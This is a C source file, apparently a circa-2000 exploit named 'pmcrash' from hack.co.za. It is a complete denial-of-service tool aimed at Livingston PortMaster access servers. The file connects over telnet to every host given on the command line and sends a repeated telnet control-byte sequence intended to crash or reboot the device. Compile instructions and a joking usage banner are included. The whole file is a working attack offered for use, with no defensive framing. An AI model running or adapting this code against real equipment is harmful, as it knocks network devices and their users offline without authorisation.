/*	The following code will crash ANY Livingston PortMaster.
	It telnets the the portmaster and overflows its buffers.
 
        Thanks to 'The Doc' for this one. [2000]*/

/* pmcrash - note this'll work much faster if all your arguments
             are IP addresses.. mainly because I didn't feel like
             coding a structure to keep track of all the resolved
             names.. so write a script to resolve your list of
             names first, then provide those as arguments */

/* This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 */

/* Compiling instructions:
 
   Linux:
     gcc -O2 -fomit-frame-pounter -s -o pmfinger pmfinger.c
 
   Solaris 2.4:
     cc -O -s -o pmfinger pmfinger.c -lsocket -lnsl -lresolv -lucb
 
*/

#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>

#ifndef sys_errlist
extern char *sys_errlist[];
#endif

#ifndef errno
extern int errno;
#endif

/* Inet sockets :-) */
int num=0;
int socks[250];

/* show sessions flag */
unsigned short int showflag=0;

char *
mystrerror(int err)
{
  return(sys_errlist[err]);
}

void
exitprog(void)
{
  while(num--)
    {
      shutdown(socks[num-1],0);
      close(socks[num-1]);
    }
  exit(0);
}

unsigned long int
resolver(host)
char *host;
{
  unsigned long int ip=0L;

  if(host && *host && (ip=inet_addr(host))==-1)
    {
      struct hostent *he;

      if(!(he=gethostbyname((char *)host)))
        ip=0L;
      else
        ip=*(unsigned long *)he->h_addr_list[0];
    }
  return(ip);
}

void
usage(void)
{
  puts("pmcrash v0.2a - ComOS System Rebooter :-)\n"
       "Copyright (C) 1995 LAME Communications\n"
       "Written by Dr. Delete, Ph.D.\n\n"
       "Usage: pmcrash <portmaster>[:port] [<portmaster>[:port] ... ]\n");
  exit(0);
}

void
main(int argc,char *argv[])
{
  unsigned short int port=0,x=1;
  struct sockaddr_in server;
  char crash[] = { 0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3 };
  char *temp;

  if(argc<2)
    usage();

  signal(SIGPIPE,(void (*)())exitprog);
  signal(SIGHUP,(void (*)())exitprog);
  signal(SIGINT,(void (*)())exitprog);
  signal(SIGTERM,(void (*)())exitprog);
  signal(SIGBUS,(void (*)())exitprog);
  signal(SIGABRT,(void (*)())exitprog);
  signal(SIGSEGV,(void (*)())exitprog);

  server.sin_family=AF_INET;

  printf("\nConnecting...");
  fflush(stdout);

  for(;x<argc;x++)
    {
      if((socks[num]=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
          fprintf(stderr,"Unable to allocate AF_INET socket: %s\n",mystrerror(errno));
          exitprog();
        }
      setsockopt(socks[num],SOL_SOCKET,SO_LINGER,0,0);
      setsockopt(socks[num],SOL_SOCKET,SO_REUSEADDR,0,0);
      setsockopt(socks[num],SOL_SOCKET,SO_KEEPALIVE,0,0);
      if((temp=strstr(argv[x],":")))
        {
          *temp++=(char)0;
          server.sin_port=htons((atoi(temp)));
        }
      else
        server.sin_port=htons(23);
      if(!(server.sin_addr.s_addr = resolver(argv[x])))
        {
          fprintf(stderr,"Unable to resolve host '%s'.\n",argv[x]);
          close(socks[num]);
          continue;
        }
      if(connect(socks[num],(struct sockaddr *)&server,sizeof(struct sockaddr_in)))
        {
          printf("!");
          fflush(stdout);
          /* fprintf(stderr,"Unable to connect to %s. (%s)\n",argv[x],mystrerror(errno)); */
          close(socks[num]);
          continue;
        }
      printf(".");
      fflush(stdout);
      num++;
    }

  printf("\nSweeping...");
  fflush(stdout);

  for(x=0;x<num;x++)
    {
      write(socks[x],crash,10);
      printf(".");
      fflush(stdout);
    }
  puts("\n");
  sleep(4);
  exitprog();
}
/*                    www.hack.co.za           [19 May 2000]*/